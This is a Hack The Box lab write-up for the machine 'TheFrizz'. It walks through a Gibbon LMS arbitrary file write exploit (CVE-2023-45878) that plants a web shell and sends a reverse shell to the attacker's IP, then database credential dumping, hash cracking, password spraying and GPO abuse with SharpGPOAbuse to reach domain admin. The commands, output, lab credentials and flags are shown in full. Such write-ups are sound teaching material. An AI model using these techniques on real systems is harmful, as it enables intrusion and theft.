HTB - TheFrizz

Enumeration:

# Nmap 7.95 scan initiated Tue May 13 20:13:49 2025 as: /usr/lib/nmap/nmap -v -p - -Pn -T4 -A -oN nmaptcp thefrizz.htb
Nmap scan report for thefrizz.htb (10.10.11.60)
Host is up (0.020s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
22/tcp    open  ssh           OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
|_http-title: Did not follow redirect to http://frizzdc.frizz.htb/home/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
65039/tcp open  msrpc         Microsoft Windows RPC
65043/tcp open  msrpc         Microsoft Windows RPC
65052/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.594 days (since Tue May 13 06:01:07 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Hosts: localhost, FRIZZDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: 7h00m00s
| smb2-time:
|   date: 2025-05-14T07:16:36
|_  start_date: N/A

TRACEROUTE (using port 53/tcp)
HOP RTT      ADDRESS
1   19.52 ms 10.10.14.1
2   19.81 ms thefrizz.htb (10.10.11.60)

Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue May 13 20:17:11 2025 -- 1 IP address (1 host up) scanned in 201.46 seconds

User exploit

Looking at the nmap scan, we can see that the target seems to be a domain controller (given the ldap, dns and kerberos ports). Two things stand out a little bit: the SSH port which is a bit uncommon in Windows environment, and the web port. We’ll start by looking at the latter.

On port 80, there is a web page for the Walkerville Elementary School. In the top right corner, there is a Staff Login button that leads us to a Gibbon-LMS instance. There is a hint here that we will have to use Kerberos authentication during this challenge.

At the bottom of the page, we can see that the version is v25.0.00. Searching Google for known vulnerabilities, we find CVE-2023-45878, an unauthenticated remote code execution.

GibbonEdu Gibbon version 25.0.1 and before allows Arbitrary File Write because rubrics_visualise_saveAjax.phps does not require authentication. The endpoint accepts the img, path, and gibbonPersonID parameters. The img parameter is expected to be a base64 encoded image. If the path parameter is set, the defined path is used as the destination folder, concatenated with the absolute path of the installation directory. The content of the img parameter is base64 decoded and written to the defined file path. This allows creation of PHP files that permit Remote Code Execution (unauthenticated).

We can quickly find a PoC on Github and get a shell as the frizz\w.webservice user.

$ python CVE-2023-45878.py -l 10.10.14.135 -p 5555 -u http://frizzdc.frizz.htb/Gibbon-LMS

[!] Exploit written for CVE-2023-45878, Gibbon LMS 25.0.1

[+] Exploit Sent to: http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php
[+] Reverse Shell Target: 10.10.14.135:5555
[!] Make sure you have a listener running: nc -lvnp 5555

[+] HTTP Response Code: 200

[+] PHP Web Shell Uploaded Successfully!
[+] Attempting to trigger reverse shell...

[+] Payload delivered. Check your listener.
[!] If no connection, verify manually: http://frizzdc.frizz.htb/Gibbon-LMS/asdf.php?cmd=whoami

The shell starting directory is C:\xampp\htdocs\Gibbon-LMS, so we can start by finding configuration files for potential passwords. We quickly find config.php.

SHELL> type config.php
<?php
/*
Gibbon, Flexible & Open School System
Copyright (C) 2010, Ross Parker

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program.  If not, see <http://www.gnu.org/licenses/>.
*/

/**
 * Sets the database connection information.
 * You can supply an optional $databasePort if your server requires one.
 */
$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';
...

We can use these database credentials to connect to the database. We can also have a look at the Github for Gibbon-LMS to find the structure of their database (https://github.com/GibbonEdu/core/blob/v25.0.00/gibbon.sql) and discover that the table gibbonperson contains the usernames, hashes and salts. We can dump this info using the mysql binary directly on the machine.

SHELL> cd C:\xampp\mysql\bin
SHELL> .\mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "SELECT * FROM gibbon.gibbonperson;" --batch --silent | ForEach-Object { $_ -replace "`t", "," }
0000000001,Ms.,Frizzle,Fiona,Fiona,Fiona Frizzle,,Unspecified,f.frizzle,067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03,/aACFhikmNopqrRTVz2489,N,Full,Y,001,001,NULL,f.frizzle@frizz.htb,NULL,NULL,::1,2024-10-29 09:28:59,NULL,NULL,0,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,NULL,,NULL,NULL,NULL,,,,,,,Y,Y,N,NULL,,,,NULL,NULL,NULL,NULL,NULL,NULL,,,,Y,NULL,NULL,NULL,

Before cracking this hash with hashcat, we need to figure out how the hash is computed. Once again, we can have a look at the Github page to find the code relating to the authentication (in this case, in preferencesPasswordProcess.php).

...
//Check current password
if (hash('sha256', $user['passwordStrongSalt'].$password) != $user['passwordStrong']) {
    header("Location: {$URL->withReturn('error3')}");
    exit;
} else {
    //If answer insert fails...
    $salt = getSalt();
    $passwordStrong = hash('sha256', $salt.$passwordNew);
...

So the password is a SHA256 of ${SALT}.${PASSWORD}. Luckily, hashcat has mode 1420 exactly for this. Simply put the hash information in the format HASH:SALT in a file and crack it with hashcat.

./hashcat.bin -m 1420 thefrizz.hashes rockyou.txt

Before switching over to these new credentials, let’s run SharpHound and ingest the data in BloodHound. We can see a user that matches the one we found in the Gibbon database, and it has PSRemote privileges on the machine.

This normally means that we can log in using evil-winrm, but in this case the port is not open. Turns out we can use the SSH port we found instead!

# Don't forget to fix the clock skew first
$ sudo timedatectl set-ntp off

$ sudo rdate -n 10.10.11.60
Mon May 19 21:40:28 EDT 2025

$ kinit -p f.frizzle@FRIZZ.HTB
Password for f.frizzle@FRIZZ.HTB:

$ KRB5CCNAME=/tmp/krb5cc_1000 ssh -K f.frizzle@frizzdc.frizz.htb
PowerShell 7.4.5
PS C:\Users\f.frizzle> type .\Desktop\user.txt
4b7bfe660224fe17fa9572b839de956e

Root exploit

For the root exploit, you can find a few hints in the Gibbon-LMS messaging section after logging in with the f.frizzle user. However, I personally found most of these to be rabbit holes. The one that was relevant stated this.

We can quickly see that this WAPT software is not installed on the machine, but digging deeper we can find some related files in the user’s recycle bin.

PS C:\Users\f.frizzle> cd ..
PS C:\Users> cd ..
PS C:\> cd '.\$RECYCLE.BIN\'
PS C:\$RECYCLE.BIN> cd .\S-1-5-21-2386970044-1145388522-2932701813-1103\
PS C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103> dir

    Directory: C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a---          10/29/2024  7:31 AM            148 $IE2XMEG.7z
-a---          10/24/2024  9:16 PM       30416987 $RE2XMEG.7z

We can download the $RE2XMEG.7z file, extract it, and within file wapt/conf/waptserver.ini find the following.

[options]
allow_unauthenticated_registration = True
wads_enable = True
login_on_wads = True
waptwua_enable = True
secret_key = ylPYfn9tTU9IDu9yssP2luKhjQijHKvtuxIzX9aWhPyYKtRO7tMSq5sEurdTwADJ
server_uuid = 646d0847-f8b8-41c3-95bc-51873ec9ae38
token_secret_key = 5jEKVoXmYLSpi5F7plGPB4zII5fpx0cYhGKX5QC0f7dkYpYmkeTXiFlhEJtZwuwD
wapt_password = IXN1QmNpZ0BNZWhUZWQhUgo=
clients_signing_key = C:\wapt\conf\ca-192.168.120.158.pem
clients_signing_certificate = C:\wapt\conf\ca-192.168.120.158.crt

[tftpserver]
root_dir = c:\wapt\waptserver\repository\wads\pxe
log_path = c:\wapt\log

We can de-base64 the password and spray it across all users to find that it is valid for the M.SchoolBus user.

# List the users and add them to users.txt
$ nxc ldap frizzdc.frizz.htb -k -u f.frizzle -p 'Jenni_Luvs_Magic23' -d frizz.htb --users
LDAP        frizzdc.frizz.htb 389    FRIZZDC          [*] None (name:FRIZZDC) (domain:frizz.htb)
LDAP        frizzdc.frizz.htb 389    FRIZZDC          [+] frizz.htb\f.frizzle:Jenni_Luvs_Magic23
LDAP        frizzdc.frizz.htb 389    FRIZZDC          [*] Enumerated 21 domain users: frizz.htb
LDAP        frizzdc.frizz.htb 389    FRIZZDC          -Username-                    -Last PW Set-       -BadPW-  -Description-
LDAP        frizzdc.frizz.htb 389    FRIZZDC          Administrator                 2025-02-25 16:24:10 0        Built-in account for administering the computer/domain
LDAP        frizzdc.frizz.htb 389    FRIZZDC          Guest                         <never>             0        Built-in account for guest access to the computer/domain
LDAP        frizzdc.frizz.htb 389    FRIZZDC          krbtgt                        2024-10-29 10:19:54 0        Key Distribution Center Service Account
LDAP        frizzdc.frizz.htb 389    FRIZZDC          f.frizzle                     2024-10-29 10:27:03 0        Wizard in Training
LDAP        frizzdc.frizz.htb 389    FRIZZDC          w.li                          2024-10-29 10:27:03 0        Student
LDAP        frizzdc.frizz.htb 389    FRIZZDC          h.arm                         2024-10-29 10:27:03 0        Student
LDAP        frizzdc.frizz.htb 389    FRIZZDC          M.SchoolBus                   2024-10-29 10:27:03 0        Desktop Administrator
LDAP        frizzdc.frizz.htb 389    FRIZZDC          d.hudson                      2024-10-29 10:27:03 0        Student
LDAP        frizzdc.frizz.htb 389    FRIZZDC          k.franklin                    2024-10-29 10:27:03 0        Student
LDAP        frizzdc.frizz.htb 389    FRIZZDC          l.awesome                     2024-10-29 10:27:03 0        Student
LDAP        frizzdc.frizz.htb 389    FRIZZDC          t.wright                      2024-10-29 10:27:03 0        Student
LDAP        frizzdc.frizz.htb 389    FRIZZDC          r.tennelli                    2024-10-29 10:27:04 0        Student
LDAP        frizzdc.frizz.htb 389    FRIZZDC          J.perlstein                   2024-10-29 10:27:04 0        Student
LDAP        frizzdc.frizz.htb 389    FRIZZDC          a.perlstein                   2024-10-29 10:27:04 0        Student
LDAP        frizzdc.frizz.htb 389    FRIZZDC          p.terese                      2024-10-29 10:27:04 0        Student
LDAP        frizzdc.frizz.htb 389    FRIZZDC          v.frizzle                     2024-10-29 10:27:04 0        The Wizard
LDAP        frizzdc.frizz.htb 389    FRIZZDC          g.frizzle                     2024-10-29 10:27:04 0        Student
LDAP        frizzdc.frizz.htb 389    FRIZZDC          c.sandiego                    2024-10-29 10:27:04 0        Student
LDAP        frizzdc.frizz.htb 389    FRIZZDC          c.ramon                       2024-10-29 10:27:04 0        Student
LDAP        frizzdc.frizz.htb 389    FRIZZDC          m.ramon                       2024-10-29 10:27:04 0        Student
LDAP        frizzdc.frizz.htb 389    FRIZZDC          w.Webservice                  2024-10-29 10:27:04 0        Service for the website

$ nxc ldap frizzdc.frizz.htb -k -u users.txt -p '!suBcig@MehTed!R' -d frizz.htb --continue-on-success
LDAP        frizzdc.frizz.htb 389    FRIZZDC          [*] None (name:FRIZZDC) (domain:frizz.htb)
LDAP        frizzdc.frizz.htb 389    FRIZZDC          [-] frizz.htb\Administrator:!suBcig@MehTed!R KDC_ERR_PREAUTH_FAILED
LDAP        frizzdc.frizz.htb 389    FRIZZDC          [-] frizz.htb\Guest:!suBcig@MehTed!R KDC_ERR_CLIENT_REVOKED
LDAP        frizzdc.frizz.htb 389    FRIZZDC          [-] frizz.htb\krbtgt:!suBcig@MehTed!R KDC_ERR_CLIENT_REVOKED
LDAP        frizzdc.frizz.htb 389    FRIZZDC          [-] frizz.htb\w.li:!suBcig@MehTed!R KDC_ERR_PREAUTH_FAILED
LDAP        frizzdc.frizz.htb 389    FRIZZDC          [-] frizz.htb\h.arm:!suBcig@MehTed!R KDC_ERR_PREAUTH_FAILED
LDAP        frizzdc.frizz.htb 389    FRIZZDC          [+] frizz.htb\M.SchoolBus:!suBcig@MehTed!R
...

Looking at BloodHound again, we can see that M.SchoolBus has the WriteGPLink permission to multiple OUs and even the domain itself.

This privilege means that we are allowed to link arbitrary group policy objects to those domain objects. GPO is a feature in Microsoft Windows that allows administrators to manage and configure operating system settings, applications, and user preferences in a centralized manner within an Active Directory environment. There are multiple ways we can go from here, but here’s the path I went.

$ kinit -p m.schoolbus@FRIZZ.HTB
Password for m.schoolbus@FRIZZ.HTB:

$ KRB5CCNAME=/tmp/krb5cc_1000 ssh -K m.schoolbus@frizzdc.frizz.htb
PowerShell 7.4.5
PS C:\Users\m.schoolbus>
# Create a new GPO named Frizzle_Payload
PS C:\temp> New-GPO -Name "Frizzle_Payload" -Domain "frizz.htb"

# Link the GPO to the domain
PS C:\temp> New-GPLink -Name "Frizzle_Payload" -Target "DC=frizz,DC=htb"

# Use SharpGPOAbuse to make the GPO put M.SchoolBus in the administrators group
PS C:\temp> .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount M.SchoolBus --GPOName "Frizzle_Payload"

[+] Domain = frizz.htb
[+] Domain Controller = frizzdc.frizz.htb
[+] Distinguished Name = CN=Policies,CN=System,DC=frizz,DC=htb
[+] SID Value of M.SchoolBus = S-1-5-21-2386970044-1145388522-2932701813-1106
[+] GUID of "Frizzle_Payload" is: {BC55AEAD-9AB4-447C-8E08-D1C0D06F34DF}
[+] Creating file \\frizz.htb\SysVol\frizz.htb\Policies\{BC55AEAD-9AB4-447C-8E08-D1C0D06F34DF}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new local admin. Wait for the GPO refresh cycle.
[+] Done!

# Force a GPO update
PS C:\temp> gpupdate /force
Updating policy...

Computer Policy update has completed successfully.
User Policy update has completed successfully.

# Check that our user has been added to the administrators group
PS C:\temp> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain

Members

---

Administrator
M.SchoolBus
The command completed successfully.

Now that we are an administrator, let’s grab the flag using nxc.

$ nxc smb frizzdc.frizz.htb -k -u M.Schoolbus -p '!suBcig@MehTed!R' -d frizz.htb --get-file \\Users\\Administrator\\Desktop\\root.txt out.txt
SMB frizzdc.frizz.htb 445 frizzdc [*] x64 (name:frizzdc) (domain:frizz.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB frizzdc.frizz.htb 445 frizzdc [+] frizz.htb\M.Schoolbus:!suBcig@MehTed!R (Pwn3d!)
SMB frizzdc.frizz.htb 445 frizzdc [*] Copying "\Users\Administrator\Desktop\root.txt" to "out.txt"
SMB frizzdc.frizz.htb 445 frizzdc [+] File "\Users\Administrator\Desktop\root.txt" was downloaded to "out.txt"

$ cat out.txt
48a961df05399fa632d2de34662d91a9

Resources:

HyperlinkInfo
https://github.com/GibbonEdu/coreGibbon Core
https://github.com/dgoorden/CVE-2023-45878CVE-2023-45878
https://github.com/hashcat/hashcathashcat
https://github.com/SpecterOps/SharpHoundSharpHound
https://github.com/SpecterOps/BloodHoundBloodHound
https://www.wapt.fr/en/doc/WAPT
https://github.com/Pennyw0rth/NetExecNetExec
https://labs.withsecure.com/publications/ou-having-a-laughOU having a laugh?
https://www.synacktiv.com/publications/ounedpy-exploiting-hidden-organizational-units-acl-attack-vectors-in-active-directoryOUned.py: exploiting hidden Organizational Units ACL attack vectors in Active Directory
https://github.com/FSecureLABS/SharpGPOAbuseSharpGPOAbuse
https://github.com/byronkg/SharpGPOAbuseSharpGPOAbuse (precompiled)